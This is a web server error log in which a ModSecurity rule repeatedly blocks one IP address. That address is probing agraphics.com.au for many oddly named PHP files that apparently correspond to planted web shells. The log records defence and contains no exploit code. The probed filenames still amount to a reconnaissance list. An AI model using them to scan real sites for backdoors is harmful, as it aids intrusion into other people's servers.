[Tue Jan 06 00:37:44.690280 2026] [:error] [pid 60605:tid 60629] [client 4.190.212.213:24434] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckv.php"] [unique_id "aVvo2JGdDsTlcaRtgxQ7ugAAARY"]
[Tue Jan 06 00:37:45.144394 2026] [:error] [pid 29187:tid 29192] [client 4.190.212.213:63132] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckv.php"] [unique_id "aVvo2YSYYRtfmMXGZCqDMQAAAAM"]
[Tue Jan 06 00:37:45.754429 2026] [:error] [pid 29187:tid 29191] [client 4.190.212.213:56083] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckv.php"] [unique_id "aVvo2YSYYRtfmMXGZCqDNAAAAAI"]
[Tue Jan 06 00:37:46.096651 2026] [:error] [pid 60514:tid 60582] [client 4.190.212.213:56098] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckv.php"] [unique_id "aVvo2m70C0kefOIBEs9VvQAAAMc"]
[Tue Jan 06 00:37:46.519855 2026] [:error] [pid 60605:tid 60624] [client 4.190.212.213:63153] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu1.php"] [unique_id "aVvo2pGdDsTlcaRtgxQ7wQAAARE"]
[Tue Jan 06 00:37:46.907454 2026] [:error] [pid 29187:tid 29210] [client 4.190.212.213:55410] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu1.php"] [unique_id "aVvo2oSYYRtfmMXGZCqDOgAAABU"]
[Tue Jan 06 00:37:47.420958 2026] [:error] [pid 29187:tid 29212] [client 4.190.212.213:56106] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu1.php"] [unique_id "aVvo24SYYRtfmMXGZCqDPQAAABc"]
[Tue Jan 06 00:37:47.992535 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:15879] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu1.php"] [unique_id "aVvo24SYYRtfmMXGZCqDPwAAABM"]
[Tue Jan 06 00:37:48.898891 2026] [:error] [pid 29187:tid 29204] [client 4.190.212.213:63158] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k11dSQ.php"] [unique_id "aVvo3ISYYRtfmMXGZCqDRwAAAA8"]
[Tue Jan 06 00:37:49.257727 2026] [:error] [pid 60605:tid 60608] [client 4.190.212.213:63115] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k11dSQ.php"] [unique_id "aVvo3ZGdDsTlcaRtgxQ7xQAAAQE"]
[Tue Jan 06 00:37:49.575998 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:63141] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k11dSQ.php"] [unique_id "aVvo3YSYYRtfmMXGZCqDTgAAABM"]
[Tue Jan 06 00:37:50.006697 2026] [:error] [pid 60510:tid 60570] [client 4.190.212.213:56066] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k11dSQ.php"] [unique_id "aVvo3m3HNEkuMRrTL0IEPwAAAJY"]
[Tue Jan 06 00:37:50.324377 2026] [:error] [pid 60509:tid 60523] [client 4.190.212.213:55366] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/FII.php"] [unique_id "aVvo3qBSiT1_wVwKSvQc5wAAAEI"]
[Tue Jan 06 00:37:50.806090 2026] [:error] [pid 60605:tid 60628] [client 4.190.212.213:55363] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/FII.php"] [unique_id "aVvo3pGdDsTlcaRtgxQ7xwAAARU"]
[Tue Jan 06 00:37:51.186431 2026] [:error] [pid 60605:tid 60615] [client 4.190.212.213:63118] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/FII.php"] [unique_id "aVvo35GdDsTlcaRtgxQ7yAAAAQg"]
[Tue Jan 06 00:37:51.478578 2026] [:error] [pid 29187:tid 29199] [client 4.190.212.213:24437] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/FII.php"] [unique_id "aVvo34SYYRtfmMXGZCqDVAAAAAo"]
[Tue Jan 06 00:37:51.809417 2026] [:error] [pid 60605:tid 60626] [client 4.190.212.213:56122] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d9.php"] [unique_id "aVvo35GdDsTlcaRtgxQ7ygAAARM"]
[Tue Jan 06 00:37:52.430717 2026] [:error] [pid 60514:tid 60596] [client 4.190.212.213:63156] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d9.php"] [unique_id "aVvo4G70C0kefOIBEs9VywAAANU"]
[Tue Jan 06 00:37:52.705477 2026] [:error] [pid 29187:tid 29204] [client 4.190.212.213:56109] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d9.php"] [unique_id "aVvo4ISYYRtfmMXGZCqDWAAAAA8"]
[Tue Jan 06 00:37:53.063209 2026] [:error] [pid 60510:tid 60571] [client 4.190.212.213:63163] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d9.php"] [unique_id "aVvo4W3HNEkuMRrTL0IERwAAAJc"]
[Tue Jan 06 00:37:53.537601 2026] [:error] [pid 60509:tid 60530] [client 4.190.212.213:15934] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aVvo4aBSiT1_wVwKSvQc7wAAAEk"]
[Tue Jan 06 00:37:53.972117 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:56068] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aVvo4W70C0kefOIBEs9VzwAAAMU"]
[Tue Jan 06 00:37:54.522037 2026] [:error] [pid 60510:tid 60564] [client 4.190.212.213:24394] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aVvo4m3HNEkuMRrTL0IESwAAAJA"]
[Tue Jan 06 00:37:54.836981 2026] [:error] [pid 60514:tid 60588] [client 4.190.212.213:55360] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp.php"] [unique_id "aVvo4m70C0kefOIBEs9V1AAAAM0"]
[Tue Jan 06 00:37:55.195009 2026] [:error] [pid 60510:tid 60566] [client 4.190.212.213:24384] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin836.php"] [unique_id "aVvo423HNEkuMRrTL0IETgAAAJI"]
[Tue Jan 06 00:37:55.589811 2026] [:error] [pid 60510:tid 60553] [client 4.190.212.213:24422] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin836.php"] [unique_id "aVvo423HNEkuMRrTL0IEUQAAAIU"]
[Tue Jan 06 00:37:55.887187 2026] [:error] [pid 60509:tid 60535] [client 4.190.212.213:55381] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin836.php"] [unique_id "aVvo46BSiT1_wVwKSvQc-QAAAE4"]
[Tue Jan 06 00:37:56.182332 2026] [:error] [pid 60605:tid 60629] [client 4.190.212.213:24410] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin836.php"] [unique_id "aVvo5JGdDsTlcaRtgxQ70gAAARY"]
[Tue Jan 06 00:37:56.612765 2026] [:error] [pid 60509:tid 60540] [client 4.190.212.213:24401] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1JkAg3.php"] [unique_id "aVvo5KBSiT1_wVwKSvQc_QAAAFM"]
[Tue Jan 06 00:37:56.987325 2026] [:error] [pid 60605:tid 60618] [client 4.190.212.213:24408] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1JkAg3.php"] [unique_id "aVvo5JGdDsTlcaRtgxQ71AAAAQs"]
[Tue Jan 06 00:37:57.391402 2026] [:error] [pid 60514:tid 60594] [client 4.190.212.213:55370] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1JkAg3.php"] [unique_id "aVvo5W70C0kefOIBEs9V3AAAANM"]
[Tue Jan 06 00:37:57.747971 2026] [:error] [pid 60605:tid 60621] [client 4.190.212.213:63113] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1JkAg3.php"] [unique_id "aVvo5ZGdDsTlcaRtgxQ72QAAAQ4"]
[Tue Jan 06 00:37:58.007629 2026] [:error] [pid 60605:tid 60624] [client 4.190.212.213:35663] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aVvo5pGdDsTlcaRtgxQ73QAAARE"]
[Tue Jan 06 00:37:58.316586 2026] [:error] [pid 60605:tid 60625] [client 4.190.212.213:56087] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aVvo5pGdDsTlcaRtgxQ74AAAARI"]
[Tue Jan 06 00:37:58.769658 2026] [:error] [pid 60605:tid 60620] [client 4.190.212.213:56103] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aVvo5pGdDsTlcaRtgxQ75AAAAQ0"]
[Tue Jan 06 00:37:59.145318 2026] [:error] [pid 60510:tid 60561] [client 4.190.212.213:15930] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/query.php"] [unique_id "aVvo523HNEkuMRrTL0IEXAAAAI0"]
[Tue Jan 06 00:37:59.740339 2026] [:error] [pid 60514:tid 60579] [client 4.190.212.213:35671] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aVvo5270C0kefOIBEs9V4wAAAMQ"]
[Tue Jan 06 00:38:00.062528 2026] [:error] [pid 60510:tid 60566] [client 4.190.212.213:55398] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aVvo6G3HNEkuMRrTL0IEXQAAAJI"]
[Tue Jan 06 00:38:00.363403 2026] [:error] [pid 60605:tid 60624] [client 4.190.212.213:35253] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aVvo6JGdDsTlcaRtgxQ76AAAARE"]
[Tue Jan 06 00:38:00.720800 2026] [:error] [pid 29187:tid 29192] [client 4.190.212.213:35203] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aVvo6ISYYRtfmMXGZCqDcgAAAAM"]
[Tue Jan 06 00:38:01.039159 2026] [:error] [pid 60509:tid 60537] [client 4.190.212.213:24423] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aVvo6aBSiT1_wVwKSvQdBgAAAFA"]
[Tue Jan 06 00:38:01.567470 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:15886] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aVvo6W70C0kefOIBEs9V5wAAAMU"]
[Tue Jan 06 00:38:02.366741 2026] [:error] [pid 60509:tid 60531] [client 4.190.212.213:24446] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aVvo6qBSiT1_wVwKSvQdCgAAAEo"]
[Tue Jan 06 00:38:02.750384 2026] [:error] [pid 29187:tid 29212] [client 4.190.212.213:63165] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aVvo6oSYYRtfmMXGZCqDeQAAABc"]
[Tue Jan 06 00:38:03.045405 2026] [:error] [pid 29187:tid 29201] [client 4.190.212.213:55368] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aVvo64SYYRtfmMXGZCqDegAAAAw"]
[Tue Jan 06 00:38:03.374403 2026] [:error] [pid 60514:tid 60579] [client 4.190.212.213:24420] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aVvo6270C0kefOIBEs9V8AAAAMQ"]
[Tue Jan 06 00:38:03.787890 2026] [:error] [pid 60514:tid 60589] [client 4.190.212.213:24390] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aVvo6270C0kefOIBEs9V8gAAAM4"]
[Tue Jan 06 00:38:04.258283 2026] [:error] [pid 60510:tid 60568] [client 4.190.212.213:30284] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper766.php"] [unique_id "aVvo7G3HNEkuMRrTL0IEZgAAAJQ"]
[Tue Jan 06 00:38:04.902988 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:56091] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aVvo7G70C0kefOIBEs9V9QAAAMU"]
[Tue Jan 06 00:38:05.225964 2026] [:error] [pid 60510:tid 60562] [client 4.190.212.213:56069] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aVvo7W3HNEkuMRrTL0IEaAAAAI4"]
[Tue Jan 06 00:38:05.590223 2026] [:error] [pid 60605:tid 60617] [client 4.190.212.213:55421] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aVvo7ZGdDsTlcaRtgxQ77wAAAQo"]
[Tue Jan 06 00:38:05.993310 2026] [:error] [pid 60509:tid 60527] [client 4.190.212.213:56123] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aVvo7aBSiT1_wVwKSvQdDwAAAEY"]
[Tue Jan 06 00:38:06.493136 2026] [:error] [pid 60514:tid 60586] [client 4.190.212.213:63149] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data243.php"] [unique_id "aVvo7m70C0kefOIBEs9V-AAAAMs"]
[Tue Jan 06 00:38:07.145375 2026] [:error] [pid 60514:tid 60593] [client 4.190.212.213:24400] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data243.php"] [unique_id "aVvo7270C0kefOIBEs9V-QAAANI"]
[Tue Jan 06 00:38:07.755306 2026] [:error] [pid 60509:tid 60535] [client 4.190.212.213:15898] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data243.php"] [unique_id "aVvo76BSiT1_wVwKSvQdEgAAAE4"]
[Tue Jan 06 00:38:08.548867 2026] [:error] [pid 60605:tid 60628] [client 4.190.212.213:63154] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data243.php"] [unique_id "aVvo8JGdDsTlcaRtgxQ78QAAARU"]
